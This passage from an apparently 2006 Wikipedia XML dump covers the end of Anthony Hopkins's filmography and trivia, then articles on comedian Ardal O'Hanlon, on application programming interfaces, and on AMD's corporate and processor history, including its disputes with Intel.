* ''[[Amistad (1997 film)|Amistad]]'' (1997)
* ''[[The Edge (1997 film)|The Edge]]'' (1997)
* ''[[The Mask of Zorro]]'' (1998)
* ''[[Meet Joe Black]]'' (1998)
* ''[[Instinct (film)|Instinct]]'' (1999)
* ''[[Titus (film)|Titus]]'' (1999)
* ''[[Mission: Impossible II]]'' (2000)
* ''[[How The Grinch Stole Christmas]]'' (2000) (voice only)
* ''[[The Devil and Daniel Webster]]'' (2001)
* ''[[Hannibal (film)|Hannibal]]'' (2001)
* ''[[Hearts in Atlantis (film)|Hearts in Atlantis]]'' (2001)
* ''[[Red Dragon]]'' (2002)
* ''[[Bad Company]]'' (2002)
* ''[[The Human Stain]]'' (2003)
* ''[[Alexander (film)|Alexander]]'' (2004)
* ''[[Proof (2005 film)|Proof]]'' (2005)
* ''[[The World's Fastest Indian]]'' (2005)
* ''[[All the King's Men (2006 film)|All the King's Men]]'' (2006)
* ''[[Bobby (2006 film)|Bobby]]'' (2006, filming)
* ''[[Fracture (film)|Fracture]]'' (2006, filming)
* ''[[Beowulf (2007 film)|Beowulf]]'' (2007, filming)
* ''[[Papa]]'' (2007, pre-production)
* ''[[Ray Gun (film)]]'' (2007)
* ''[[Harry and the Butler]]'' (2006, announced)

==Trivia==

* Was playing [[King Lear]] on stage at the National Theater while [[Brian Cox]] was playing Hannibal Lecter in ''[[Manhunter (film)|Manhunter]]''. Years later, during production of ''The Silence of the Lambs'', Cox was playing King Lear at the National Theater.

* Has received two Oscar nominations for playing U.S. Presidents. He played [[Richard Nixon]] in ''[[Nixon (film)|Nixon]]'', and [[John Quincy Adams]] in ''[[Amistad (1997 film)|Amistad]]''.

* The drama school at the [[Southern Institute of Technology]] in [[New Zealand]] was named after him when he was in [[Invercargill]] filming [[The World's Fastest Indian]].

==External links==
*{{imdb name | id=0000164 | name=Anthony Hopkins}}
*[http://hannibalstudiolo.com/phpBB2/index.php The Hannibal Lecter Studiolo]
*[http://www.planethopkins.co.uk Planet Hopkins] A comprehensive fan-based website.
*[http://www.twoop.com/people/archives/2005/10/anthony_hopkins.html Anthony Hopkins] - A timeline of his life

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[[Category:Living people|Hopkins, Anthony]]

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  </page>
  <page>
    <title>Ardal O'Hanlon</title>
    <id>2398</id>
    <revision>
      <id>40472947</id>
      <timestamp>2006-02-20T20:39:25Z</timestamp>
      <contributor>
        <username>Pjb007</username>
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      <text xml:space="preserve">[[Image:Father_Dougal.jpg|thumb|150px|'''Ardal O'Hanlon''' as [[Father Dougal McGuire]].]] 
'''Ardal O'Hanlon''' (born [[8 October]] [[1965]] at Carrickmacross, [[County Monaghan]], in the Republic of [[Ireland]]) is a comedian and actor, best known for his role as [[Father Dougal McGuire]] in the comedy television series ''[[Father Ted]]''. His father is [[Rory O'Hanlon]], an Irish politician and doctor.

Ardal O'Hanlon was schooled in [[Blackrock College]] in Dublin and graduated from the ''[[National Institute for Higher Education]], [[Dublin]]'' (now [[Dublin City University]]) in Communications Studies in 1987. He started out as a [[stand-up comedian]], and was spotted by [[Graham Linehan]], who was to cast him in ''Father Ted''.

In [[1997]] he appeared (as Father Dougal) in a [[Channel 4]] [[Television ident|ident]].

He has also had his own television comedy series, ''[[My Hero]]'', in which he plays a superhero juggling the duties of his heroic role with the ordinary day-to-day crises of life in the suburbs. Prior to that he had appeared in the more serious series ''[[Big Bad World]]''. He also provided the voice of the lead character in a Christmas television cartoon special entitled ''[[Robbie the Reindeer - Hooves of Fire]]''. He is currently appearing in the [[BBC 1]] sitcom ''[[Blessed (television)|Blessed]]''. The show is written by [[Ben Elton]]. At the 2005 British Comedy awards it was publicly slated by [[Jonathan Ross]], albeit in jest.

Beyond the world of television, O'Hanlon is an accomplished writer, and has written a novel (''The Talk of the Town'' - known in the United States as ''Knick Knack Paddy Whack'') which was published in 1998.

Ardal is a massive [[football (soccer)|football]] fan, and is a proud supporter of English [[Football League Championship|Championship]] team, [[Leeds United F.C.|Leeds United]] as well as [[Celtic F.C|Celtic]] of [[Scotland]].

==External links==
{{wikiquote}}
* [http://www.ardalohanlon.co.uk The World of Ardal O'Hanlon]

[[Category:1965 births|O'Hanlon, Ardal]]
[[Category:Living people|O'Hanlon, Ardal]]
[[Category:Irish actors|O'Hanlon, Ardal]]
[[Category:Irish comedians|O'Hanlon, Ardal]]
[[Category:Irish people|O'Hanlon, Ardal]]
[[Category:Whose Line Is It Anyway? contestants|O'Hanlon, Ardal]]


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  </page>
  <page>
    <title>Application programming interface</title>
    <id>2399</id>
    <revision>
      <id>41802330</id>
      <timestamp>2006-03-01T21:18:43Z</timestamp>
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      <minor />
      <comment>rv</comment>
      <text xml:space="preserve">:''This article is about the computer software usage of API. For other uses, see [[API (disambiguation)]].''

An '''application programming interface''' ('''API''') is the [[Interface (computer science)| interface]] that a computer system, library or application provides in order to allow requests for service to be made of it by other computer programs, and/or to allow data to be exchanged between them.

==Description==
One of the primary purposes of an '''API''' is to describe how to access a set of [[Subroutine|functions]] - for example, an API might describe how to draw [[Window (computing)|windows]] or [[icon (computing)|icon]]s on the screen using a library that has been written for that purpose.  APIs, like most interfaces, are abstract.  Software that may be accessed via a particular API is said to ''implement'' that API.

For instance, a computer program can (and often must) use its [[operating system]]'s API to allocate memory and access files. Many types of systems and applications implement APIs, such as graphics systems, databases, networks, web services, and even some computer games.

In many instances, an API is often a part of a ''[[Software development kit]]'' (SDK). An SDK may include an API as well as other tools and perhaps even some hardware, so the two terms are not strictly interchangeable.

There are various design models for APIs. Interfaces intended for the fastest [[execution (computers)|execution]] often consist of sets of [[Subroutine|functions]], [[procedure]]s, [[variable]]s and [[data structure]]s. However, other models exist as well, such as the [[interpreter (computer software)|interpreter]] used to evaluate expressions in [[ECMAScript]]/[[JavaScript]].  or abstraction layer, which relieves the programmer from needing to know how the functions of the API relate to the lower levels of abstraction. This makes it possible to redesign or improve the functions within the API without breaking code that relies on it.

Two general lines of policies exist regarding publishing APIs:

# Some companies guard their APIs zealously. For example, [[Sony]] used to make its official [[PlayStation 2]] API available only to licensed PlayStation developers. This is because Sony wanted to restrict how many people could write a PlayStation 2 [[game]], and wanted to profit from them as much as possible. This is typical of companies who do not profit from the sale of API implementations (in this case, Sony broke even on the sale of PlayStation 2 consoles and even took a loss on [[marketing]], instead making it up through game royalties created by API [[licensing]]). However, [[PlayStation 3]] is based entirely on open and publicly available APIs.
# Other companies propagate their APIs freely. For example, [[Microsoft]] deliberately makes most of its API information public, so that software will be written for the Windows [[System platform|platform]]. The sale of the third-party software sells copies of Microsoft Windows. This is typical of companies who profit from the sale of API implementations (in this case, [[Microsoft Windows]], which is sold at a gain for Microsoft).

Some APIs, such as the ones standard to an [[operating system]], are implemented as separate [[Library (software) | code libraries]] that are distributed with the operating system.  Others require [[software publisher]]s to integrate the API functionality directly into the application. This forms another distinction in the examples above. Microsoft Windows APIs come with the operating system for anyone to use. Software for [[embedded system]]s such as [[video game console]]s generally falls into the application-integrated category. While an official PlayStation API document may be interesting to read, it is of little use without its corresponding [[implementation]], in the form of a separate [[Library (computer science)|library]] or [[Software development kit|software development kit]].

An API that does not require royalties for [[access]] and [[usage]] is called &quot;open.&quot; The APIs provided by [[Free software]] (such as all software distributed under the [[GNU General Public License]]), are open by definition, since anyone can look into the [[source]] of the software and figure out the API. Although usually authoritative &quot;[[reference implementation]]s&quot; exist for an API (such as [[Microsoft Windows]] for the [[Win32]] API), there's nothing that prevents the creation of additional implementations. For example, most of the Win32 API can be provided under a [[Unix|UNIX]] system using software called [[Wine (software)|Wine]].

It is generally lawful to analyze API implementations in order to produce a compatible one. This technique is called [[reverse engineering]] for the purposes of [[interoperability]]. However, the legal situation is often ambiguous, so that care and [[lawyer|legal counsel]] should be taken before the reverse engineering is carried out. For example, while APIs usually do not have an obvious legal status, they might include [[patent|patents]] that may not be used until the patent holder gives permission.

== See also ==

* [[Application binary interface]] (ABI)
* [[Ontology (computer science)]]
* [[Open Service Interface Definitions]] (OSID)
* [[Plugin]]
* [[Document Object Model]]

==== Some Example APIs: ====

* [[Wikipedia API]]
* The PC [[BIOS call]] [[interface]]
* [[Single UNIX Specification]]
* [[Win32|Microsoft Win32 API]]
* [[Java Platform, Enterprise Edition]] APIs
* [[ASPI]] for [[SCSI]] device interfacing
* [[Carbon (computing)|Carbon]] and [[Cocoa (API)|Cocoa]] for the [[Apple Macintosh|Macintosh]] [[Mac OS X|OS]]
* [[DirectX]] for [[Microsoft Windows]]
* [[Simple DirectMedia Layer]] (SDL)
* [[Universal Home API]]
* [[LDAP Application Program Interface]]
* [[svgalib]] for [[Linux]] and [[FreeBSD]]

==External links==

* [http://lcsd05.cs.tamu.edu/slides/keynote.pdf How to design a good API and why it matters-PDF]

==== Some Example APIs: ====

* [http://developer.ebay.com/common/api eBay]
* [http://api.evdb.com/ EVDB]
* [http://www.flickr.com/services Flickr]
* [http://www.google.com/apis Google]
* [http://kernelnewbies.org/documents/kdoc/kernel-api/linuxkernelapi.html The Linux Kernel]
* [http://share.skype.com/developer_zone/documentation/documentation/ Skype]
* [http://developer.yahoo.net Yahoo]
* [http://java.sun.com/j2se/1.5.0/docs// Java]
* [http://www.paypal.com/sdk/ Paypal]
* [http://www.ontok.com/wikipedia/ Wikipedia]

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  </page>
  <page>
    <title>AMD</title>
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      <id>42145497</id>
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      <text xml:space="preserve">{{otheruses|AMD}}
{{Infobox_Company |
  company_name =Advanced Micro Devices, Inc.| 
  company_logo = [[Image:AMD logo.png|150px|AMD Logo]] |
  company_type = [[Public company|Public]] ([[NYSE]]: [http://www.nyse.com/about/listed/lcddata.html?ticker=AMD AMD])|
  foundation   = 1969 |
  location     = [[Sunnyvale, California]], [[United States|USA]] |
  key_people   = [[Héctor Ruiz]], CEO |
  industry     = [[Semiconductors]] |
  products     = [[Microprocessors]]&lt;br/&gt;[[Flash memory]] |
  revenue      = [[Image:green up.png]]$5.85 billion [[United States dollar|USD]] ([[2005]]) |
  num_employees = 18,100 ([[November 2005|Nov 2005]]) |
  homepage     = [http://www.amd.com/ www.amd.com]
}}
'''Advanced Micro Devices, Inc.''' ('''AMD''') {{nyse|AMD}} is a manufacturer of [[integrated circuits]] based in [[Sunnyvale, California|Sunnyvale]], [[California]]. It is the second-largest supplier of [[x86]]-compatible [[Central Processing Unit|processor]]s, and a leading supplier of [[flash memory|non-volatile flash memory]]. It was founded in 1969 by a group of defectors from [[Fairchild Semiconductor]], including [[Jerry Sanders]]. AMD's current CEO is [[Héctor Ruiz|Dr. Héctor Ruiz]]. The current president and Chief Operating Officer is [[Dirk Meyer]].

AMD is best known for the [[Athlon]], [[Opteron]], [[Turion64]], [[Sempron]] and [[Duron]] lines of x86-compatible processors. 
== Financial information ==
AMD is publicly traded at [[NYSE]] with the symbol AMD. Its [[market capitalization]] was around US$13 billion at the end of 2005.

== General history ==
[[Image:AMD C8080A.jpg|thumb|Early AMD 8080 Processor (AMD AM9080ADC / C8080A), 1977]]The company started as a producer of logic chips in 1969, then entered the [[Random Access Memory|RAM]] chip business in 1975. That same year, it introduced a [[reverse engineering|reverse-engineered]] clone of the [[Intel]] [[Intel 8080|8080]] [[microprocessor]]. During this period, AMD also designed and produced a series of [[bit-slice]] processor elements ([[Am2900]], Am29116, Am293xx) which were used in various minicomputer designs.

During this time, AMD attempted to embrace the perceived shift towards [[RISC]] with their own [[Am29000|AMD 29K processor]], and they attempted to diversify into graphics and audio devices as well as flash memory. While the AMD 29K survived as an [[embedded processor]] and AMD continues to make industry leading [[flash memory]], AMD was not as successful with its other endeavours.  AMD decided to switch gears and concentrate solely on Intel-compatible microprocessors and flash memory.  This put them in direct competition with Intel for x86 compatible processors and their flash memory secondary markets.

== 8086, 80286, 80386, Am486 ==
[[Image:Amd_intel.jpg|thumb|right|200px|AMD 80286 1982]] 

In February 1982, AMD signed a contract with [[Intel]], becoming a licensed second-source manufacturer of [[Intel 8086|8086]] and [[Intel 8088|8088]] processors. [[International Business Machines|IBM]] wanted to use the Intel 8088 in its [[IBM PC]], but IBM's policy at the time was to require at least two sources for its chips. AMD later produced the [[80286]], or 286, under the same arrangement, but Intel cancelled the agreement in 1986, and refused to hand over technical details of the i386 part. The growing popularity of the [[IBM PC compatible|PC clone]] market meant Intel could produce CPUs on its own terms, rather than IBM's. 

AMD challenged this decision, and subsequently won under arbitration. A long legal dispute followed, ending in 1991 when the [[Supreme Court of California]] sided with AMD and forced Intel to pay over $1 billion in compensation for violation of contract. Subsequent legal disputes centered on whether AMD had legal rights to use derivatives of Intel's microcode. Rulings were made in both directions. In the face of uncertainty, AMD was forced to develop &quot;[[Clean room design|clean room]]&quot; versions of Intel code. In this fashion, one engineering team described the function of the code, and a second team without access to the source code itself had to develop microcode that performed the same functionality.

In 1991 AMD released the [[Am386]], its clone of the later Intel [[80386]] processor. It took less than a year for AMD to sell a million units. AMD's [[Am386|386DX-40]] was very popular with smaller, independent clone manufacturers. AMD followed in 1993 with the [[Am486]]. Both sold at a significantly lower price than the Intel versions. The [[Am486]] was used by a number of large [[Original Equipment Manufacturer|OEM]]s, including [[Compaq]], and proved popular, but again was just a clone of Intel's processor technology. But as product cycles shortened in the PC industry, cloning Intel's products became an ever less viable strategy for AMD, as it meant their technology would always be behind Intel. 

On [[December 30]] [[1994]] the Supreme Court of California finally formally denied AMD rights to use the i386's microcode. Afterwards AMD and Intel concluded an agreement, the details of which remain largely secret, which gave AMD the right to produce and sell microprocessors containing the microcodes of Intel 286, 386, and 486. The agreement appears to allow for full cross-licensing of [[patent]]s and some [[copyright]]s, allowing each partner to use the other's technological innovations without charge. Whatever the details, no significant legal action had resulted between AMD and Intel (until the 2005 antitrust suits in Japan and the U.S.), and the agreement evidently provided a &quot;clean break&quot;.

== K5 ==
AMD's first completely in-house processor was the [[AMD K5|K5]], launched belatedly in 1995. The &quot;K&quot; was a reference to &quot;[[Kryptonite]]&quot; which from comic book lore was the only substance that could harm Superman (a clear reference to Intel which was dominant in the market). 

It was intended to compete directly with the Intel [[Pentium]] CPU, which had been released in 1993, but architecturally it had more in common with the newly-released [[Pentium Pro]] than the Pentium or [[Cyrix]]'s [[Cyrix 6x86|6x86]], decoding x86 instructions into micro-ops and executing them on a RISC core. There were a number of problems. Many consumers were upset to learn the clock speed of their processor did not match the [[PR rating]] used to label some of the parts, and this was especially obvious at boot time, when the clock speed was posted to the main screen on many systems. 

More tellingly, the K5 couldn't match the 6x86's integer performance, nor the Pentium's [[FPU]] performance. AMD tended to use benchmarks for its rating systems that avoided FPU intensive tasks. This, combined with the large [[die]] size and the fact that the design scaled badly, doomed the K5 to near-total failure in the marketplace. To its credit, the K5 did not suffer from the compatibility problems of the 6x86 nor did it run as hotly.

While the K5 was arguably better than the Pentium classic technologically, with modern features such as out of order execution and micro-ops RISC core, AMD was slow by two years compared to Intel. Missing schedule deadlines and lack of manufacturing expertise in scaling designs would continue to plague AMD until the K7. With a new fabrication plant in Austin, they could not afford to wait for another inhouse design.

== NexGen / K6 ==
[[Image:AMD-K6-2-300.jpg|thumb|right|200px|AMD-K6-2-300]] 

In 1996, AMD purchased [[NexGen]] specifically for the rights to their Nx series of x86 compatible processors. It is fair to say the technology gained in this acquisition saved AMD, which is somewhat ironic when one considers [[NexGen]] had been founded by ex-Intel employees.

AMD gave the NexGen design team their own building, left them alone, and gave them time and money to rework the Nx686. The result was branded the [[AMD K6|K6]] processor, introduced in 1997. The redesign included a feedback dynamic instruction reordering mechanism, [[MMX]] instructions, and added the missing floating point unit (FPU). It was also made pin-compatible with Intel's Pentium, enabling it to be used in the widely available &quot;[[Socket 7]]&quot;-based motherboards. Like the Nx686 and Nx586 before it, the K6 translated the Pentium compatible x86 instruction set to [[RISC]]-like micro-instructions. In the following year, AMD released the [[AMD K6-2|K6-2]] which added a set of floating point multimedia instructions called [[3DNow!]], preceding Intel's SSE instructions, as well as a new socket standard called &quot;[[Super Socket 7]]&quot;, that extended the front side bus frequency from 66 to 100&amp;nbsp;MHz.

In January 1999, the final iteration of the K6-x series, the 450 MHz [[AMD K6-III|K6-III]], was extremely competitive with Intel's top of the line chips. This chip was essentially a K6-2 with 256&amp;nbsp;kilobytes of full-speed level 2 cache integrated into the core and a better [[branch prediction]] unit. While it matched (generally beating) the Pentium II/III in integer operations, the FPU was a non-pipelined serial design and could not compete with Intel's more advanced FPU architecture. Although [[3DNow!]] could theoretically compensate for this weakness, few game developers made use of it, the most notable exception being [[id Software]]'s ''[[Quake II]]''.

Throughout its lifetime, the [[AMD K6|K6]] processor came close, but never equalled the performance of processor offerings from Intel. While there were brief periods when AMD announced a clock speed advantage, volume availability of products was limited as AMD suffered from manufacturing and yield problems. Furthermore, having deviated from the official Intel motherboard specifications with the [[Super Socket 7]] format, the motherboards that worked with the K6 were of varying quality, especially as regards implementation of the graphical [[Accelerated Graphics Port|AGP]] specification. 

Overall the K6 proved popular with consumers, especially in markets outside North America, offering decent performance and a comparatively low price. But the problems surrounding the platform, and lack of availability for the announced high end parts, failed to establish AMD as a player in the corporate market. Intel responded to AMD's lower prices with the lower budget &quot;Celeron&quot; version of their Pentiums. While the Celerons were not as popular as Intel had hoped, this effectively left AMD struggling with low margins, chasing the low end of the market.

== Athlon / K7 ==
[[Image:amd_athlon_classic.jpg|thumb|right|200px|AMD Athlon &quot;Classic&quot; SlotA]] 
It was clear that if AMD was to survive, the company had to change strategy. CEO and founder Jerry Sanders recognized this, and developed a famous &quot;Virtual Gorilla&quot; strategy. This utilized strategic industry partnerships, to enable AMD to compete with Intel on a more equal technological footing.

The fruits of this were shown in [[August]] of 1999, when AMD released the [[Athlon]] (K7) processor. Notably, the design team was led by [[Dirk Meyer]], one of the lead engineers on the [[Digital Equipment Corporation|DEC]] [[DEC Alpha|Alpha]] project. Jerry Sanders had approached many of the engineering staff to work for AMD as DEC wound the project down, in this fashion acquiring a genuine world-class-enterprise-level processor design team, for a bargain basement price.  It should be noted, though, that the Athlon design team included those who worked on both the K5 and K6.

The Athlon had an advanced micro-architecture geared towards overall performance, with a notably powerful FPU.  When compared to the [[i686#Intel|P6]] the Athlon was superior, solving many of the problems and bottlenecks that were inherent in the Intel design.  The Athlon had a higher average execution per clock throughput.  The fundamental reason that such a large design discrepancy was possible is that the original [[i686#Intel|P6]] had a much smaller transistor budget, since it was fabricated on a much earlier design process than the Athlon.  Early samples of the Athlon had branch predictor problems as well as low clock rates, but when it shipped with all architectural fixes at an amazing (for the time) 650&amp;nbsp;MHz, it sent shockwaves through the industry.

Intel was immediately forced into a panicked internal re-design of the P6 core, which fixed many of the pipeline stalls that compromised its performance. The result was called the &quot;[[Coppermine (microprocessor)|Coppermine]]&quot; revision.  However, the rushed nature of the work put enormous pressure on Intel's manufacturing facilities and, even after it was announced, availability of the improved Coppermine chips was poor.

In comparison, AMD found processor yields exceeded expectations. As a result, AMD announced 900-MHz and 1-GHz Athlons in early March 2000, and delivered them in volume that same month, again surprising the industry. Intel announced a 1-GHz Pentium a few days after AMD did, but was unable to ship the part in volume for several months. Working with [[Motorola]] as part of the &quot;Virtual Gorilla&quot; strategy, AMD also perfected copper interconnect manufacturing over a year before Intel, enjoying a clear advantage in manufacturing process technology, further improving clock speeds. Compounding Intel's embarrassment, an attempt to leapfrog AMD with a 1.13-GHz Pentium III resulted in an unreliable product that worked only on one specific customized motherboard and was heavily panned by prominent industry critics [http://www.tomshardware.com/2000/07/31/intel/index.html]. That chip was soon withdrawn from the market, having been installed in only a small handful of OEM systems [http://www.tomshardware.com/2000/08/28/intel_admits_problems_with_pentium_iii_1/index.html]. All of this greatly bolstered AMD's credibility in the market; what was formerly a producer of cut-rate clone chips was now increasingly being considered a viable competitor and rival to Intel.

AMD worked hard to increase the reliability and performance of motherboards for the Athlon with a quality assurance program. Confident with their unprecedented control of the performance end of the market, AMD was able to release a second line of budget processors, based on the Athlon core called the [[Duron]]. The combination of these astonishing technical and marketing successes did much to repair AMD's reputation, and the long time industry jokes about the company noticeably dried up.  AMD continued to undercut Intel on price at the low end with the K6, and as Intel suffered part shortages and yield problems, AMD's market share briefly rose to 23%.

From a marketing point of view, AMD made the most of its performance advantage, greater consistency in delivery, and better system stability.  The center point of its technical marketing strategy was a very large complement of easily reproducible performance benchmarks, based on a wide variety of applications.  These efforts were bolstered by review sites and magazines, which were able to add their own performance benchmarks which verified AMD's claims of performance superiority of the Athlon versus its competition from Intel for many years.  The importance of this publicity to AMD's credibility and reputation going forward cannot be overemphasized.

The spectacular success of the Athlon K7 processor started to diminish once Intel introduced the [[Pentium 4]] processor. Though the K7 was capable of much greater clock speeds than the [[Pentium 3]] line, the new [[Netburst]] architecture, designed to deliver all of its performance through deep pipeline, high clock speed methodologies started to outpace the Athlon Line. The early Pentium 4 did not quite realize the actual performance Intel had hoped for, and in some applications the original K7 Thunderbird architecture exceeded the P4 in per-cycle performance. Because the popular consensus was that the P4 was faster, the Athlon XP was released, although the chip itself was not tremendously improved (other than the progressional clock-speed increase). The Athlon XP remained competitive with overall performance until the release of the [[Pentium 4#Northwood | Pentium 4 Northwood]] CPU, which ran much more efficiently than the early Pentium 4s, and at even greater clock cycles, topping out at 3.4 GHz.

Unable to compete with the raw clock speeds offered by the P4, from the start of the Athlon XP Era, AMD began using a nomenclature that compares performance of the Athlon XP, with that of an earlier [[Athlon#Athlon Thunderbird .28T-Bird.29|Thunderbird]] core revision. In reality most people saw the model numbering scheme for what it was - an attempt to disguise AMD's clock speed disadvantage compared to the P4. It did, however, make some consumers wary of the idea that Intel's high clockspeeds did not necessarily yield superior performance over the Athlon XP. This definition began to be applied more loosely over time as AMD struggled to compete with the ramping clock speeds of the Northwood core (&gt;3.0 GHz). The credibility of the scheme was only saved by the arrival of the K8, where model numbers once again correlated more reasonably to actual performance.

== AMD64 / K8 ==
The K8 is a major revision of the K7 architecture, with the most notable features being the addition of a 64 bit extension to the x86-64 instruction set (called [[AMD64]]), incorporating an on-chip memory controller, and the implementation of an extremely high performance point to point multiprocessor capable interconnect called [[HyperTransport]].  The extension of the x86 to 64 bits was important to AMD, because it marked a true attempt to wrestle the leadership of the x86 standard away from Intel. 

This move by AMD was well timed to take advantage of a product hole in Intel's roadmap, namely a Pentium-compatible CPU that can deal with the inevitable transition to 64 bits.  Some viewed this transition as slightly premature; however it helped AMD to snatch the standard away from Intel and its quality 32-bit backwards compatibility made it a feasible chip even for home users. AMD's standard was adopted by Microsoft, Linux and even Sun Microsystems.  This left Intel in a position where they were forced to make an agreement with AMD to use the AMD64 extensions for their own 64-bit based ([[EM64T]]) processors. The K8 is also notable for its [[Direct Connect Architecture]].

The [[AMD64]] project can be seen as the culmination of Jerry Sanders' &quot;Virtual Gorilla&quot; strategy, in which he set a corporate goal for AMD to become a powerful research corporation in its own right, and not just a low-margin, low-value, commodity clone manufacturer.

The [[Opteron|AMD Opteron]] is the server version of the K8. AMD originally designed the Opteron to compete against Intel's [[IA-64]] [[Itanium]] architecture. But the failure of the [[IA-64]] project to leverage volume sales means it now competes with Intel's [[Xeon]] processor. AMD's technical leadership has considerably improved their credibility, and enabled AMD to make increasing market share inroads into the corporate sector.

On [[April 21]], [[2005]] AMD released the world's first x86 server chip built on [[dual core]] technology, which was in the plans of the K8 line of processors from 2001 onward.  The initial release were accompanied by the availability of the [[Opteron]] 865, 870, and 875 processors, and the 2xx version followed shortly afterwards.

On [[May 31]], [[2005]] AMD released its first desktop-based [[Multi-core (computing)|dual core processor]] family — the [[Athlon 64 X2]].  Unlike Intel's dual-core designs, the X2 mates two cores into a single chip, rather than two chips into a single package.  Intel's method may have theoretical yield advantages, but gives up some performance advantages since interprocessor communication still happens over external pins, rather than internally.  The X2 marks a significant step towards even greater productivity and scalability, especially for multi-threaded software applications.

== Geode ==
In August 2003 AMD also purchased the [[Geode (processor)|Geode]] business (originally the [[Cyrix]] [[MediaGX]]) from [[National Semiconductor]] to augment its existing line of embedded x86 processor products. During the second quarter of 2004, it launched new low-power Geode NX processors based on the K7 Thoroughbred architecture with speeds of 667MHz and 1GHz (fanless), and 1.4GHz (TDP 25W).

== Pacifica ==
AMD's Athlon series of processors are slated to include [[virtualization]] through the [[Pacifica]] technology specification. This technology stands in direct competition to [[Intel]]'s 'Silvervale' virtualization technology.

== Current production ==
AMD's main microprocessor manufacturing and design facilities are located in [[Dresden]], [[Germany]]. Between 2003 and 2005, they constructed a second manufacturing (300mm) plant nearby in order to increase the number of chips they can produce, thus becoming more competitive with [[Intel]]. The new plant has been named &quot;Fab 36&quot;, in recognition of AMD's 36 years of operation, and is expected to reach full production in mid 2006.

As part of its expanding microprocessor design program, AMD started an  engineering design center in [[Bangalore]]. The AMD India Engineering Centre Private Limited, which is started in July, will contribute to the design of future generations of AMD microprocessors. The standalone facility will occupy approximately 38,000 square feet (3,500 m&amp;sup2;) and is located in Richmond Road, Bangalore, Karnataka, India.

== Partnerships ==
[[Image:NVIDIA logo.png|right|150px|NVIDIA Logo]]
AMD continues to use industry partnerships as a means to counter Intel's superior financial resources. Notably [[nVidia]]'s [[nForce2]] chipset generated substantial revenues for nVidia as a popular enthusiast part.

[[HyperTransport]] is a point to point interconnect standard developed by AMD and Alpha Processor Incorporated, and then turned over to an industry standards body for finalization. It is used in the [[nForce3]] and [[nForce4]] chipsets. While not intended as a revenue-generating product line for AMD, by providing technological leadership, AMD enhances its standing within the computer industry. Again, innovation is key to AMD's &quot;Virtual Gorilla&quot; corporate strategy.

AMD has also formed a strategic partnership with IBM, under which AMD gained [[silicon on insulator]] (SOI) manufacturing technology, and detailed advice on 90-nm implementation. IBM holds many patents on SOI technology, and Intel is reluctant to implement the process for this reason, despite the significant reductions in power consumption offered.

AMD is also loosely partnered with end-user companies such as [[HP]], [[Compaq]], [[Asus]], [[Alienware]], [[Acer (company)|ACER]], [[Evesham Technology]] and several others in the area of processor distribution.  Due to recent events regarding the lawsuit filed against Intel, AMD has gained a significant amount of marketshare hold in the end-user market.

Unlike some other companies, AMD provided the technical details required for the open source BIOS project [[LinuxBIOS]] [http://www.fsf.org/campaigns/free-bios.html].

== Flash technology ==
While less visible to the general public than its CPU business, AMD is also a global leader in [[flash memory]]. To compete with [[Intel]], AMD established a 50-50 partnership with [[Fujitsu]] called [[FASL]] in 1993, with manufacturing facilities in [[Aizuwakamatsu, Fukushima|Aizu-Wakamatsu]], [[Japan]]. In 2003 the long-term partnership was merged into a new company called [[FASL LLC]], globally branded as [[Spansion]][http://www.spansion.com/], headquartered in [[Sunnyvale, California|Sunnyvale]], [[California]], [[United States|USA]]. Under the deal, AMD took a 60 percent stake, Fujitsu 40 percent.   Spansion has recently been spun off into its own IPO where AMD now owns only about 37% of the company.

The new company sells flash memory products through AMD and Fujitsu and their respective sales forces. Notable product families include Mirrorbit flash. In periods the flash business has been extremely profitable, exceeding the financial performance of the CPU division, although the industry is somewhat prone to boom-bust cycles. AMD / Spansion claim a number of important milestones in Flash development [http://www.spansion.com/about/timeline.html].

*1992: &quot;Negative Gate Erase&quot; technology introduced 
*1996: Industry's first 2.7-volt flash device
*1997: Industry's first 1.8-volt flash device
*1998: AMD and Fujitsu's first page-mode flash device
*1999: AMD and Fujitsu's first burst-mode flash device
*2001: MirrorBit™ technology introduced 
*2002: Advanced Sector Protection introduced 
*2003: Industry's first 512-megabit NOR flash memory unveiled

== Lawsuits against Intel Corporation ==
AMD has a long history of litigation with former partner and x86 creator [[Intel]].  In 2005, following an investigation, the Japan Federal Trade Commission found Intel guilty of antitrust violations. On [[June 27]] [[2005]], AMD won an [[antitrust]] suit against Intel in [[Japan]], and on the same day, AMD filed a broad antitrust complaint against Intel in the U.S. Federal District Court in [[Delaware]].  The complaint alleges systematic use of secret rebates, special discounts, threats, and other means used by Intel to lock AMD processors out of the global market.

==See also==
*[[Jerry Sanders]], [[Dirk Meyer]], [[Héctor Ruiz]], [[NexGen]]

*[[Athlon]], [[Duron]], [[Sempron]]
*[[Athlon 64]], [[Opteron]]
*[[Turion]]

*[[Am2900]], [[Am29000]], [[AMD K5]], [[AMD K6]], [[AMD K7]], [[AMD K8]], [[AMD K9]], [[AMD64]]

*[[List of AMD microprocessors]], [[List of AMD CPU slots and sockets]]
*[[List of AMD Athlon microprocessors]], [[List of AMD Athlon XP microprocessors]]
*[[List of AMD Duron microprocessors]], [[List of AMD Sempron microprocessors]]
*[[List of AMD Athlon 64 microprocessors]], [[List of AMD Opteron microprocessors]]
*[[List of AMD Turion microprocessors]]

*[[Comparison of NVIDIA Graphics Processing Units]]
*[[Comparison of ATI Graphics Processing Units]]
*[[Comparison of Intel Central Processing Units]]
*[[Comparison of AMD Central Processing Units]]

==External links==
{{wikinewspar|AMD files antitrust lawsuit against Intel in US federal district court}}
*[http://www.amd.com/ AMD Corporate Website]
*[http://www.digital-daily.com/editorial/amd-history/index.htm AMD: 30 Years of Pursuing the Leader]
*[http://www.siliconvalleyinfozone.com/companies/Advanced_Micro_Devices Silicon Valley InfoZone - Advanced Micro Devices]
*[http://www.thedigerati.us/info/amdcpuchart.html] - AMD CPU Chart
*[http://www.cpu-collection.de/?l0=co&amp;l1=AMD Cpu-collection.de] - AMD processor images and descriptions
*[http://www.cpu-info.com/index2.php?mainid=html/cpu/amdk5.php CPU-INFO: AMD K5, indepth processor history]
*[http://biz.yahoo.com/ic/10/10037.html Yahoo!] - Advanced Micro Devices, Inc. Company Profile
*[http://www.dvhardware.net/article4650.html AMD goes dual-core]
*[http://www.geek.com/news/geeknews/2005Dec/bch20051215033811.htm Why AMD-MHz don't equal Intel-MHz]
*[http://www.amd.com/us-en/assets/content_type/DownloadableAssets/Complaint_summary.pdf Summary US antitrust complaint against Intel]
*[http://www.amd.com/us-en/assets/content_type/DownloadableAssets/AMD-Intel_Full_Complaint.pdf Full text of US antitrust complaint against Intel]
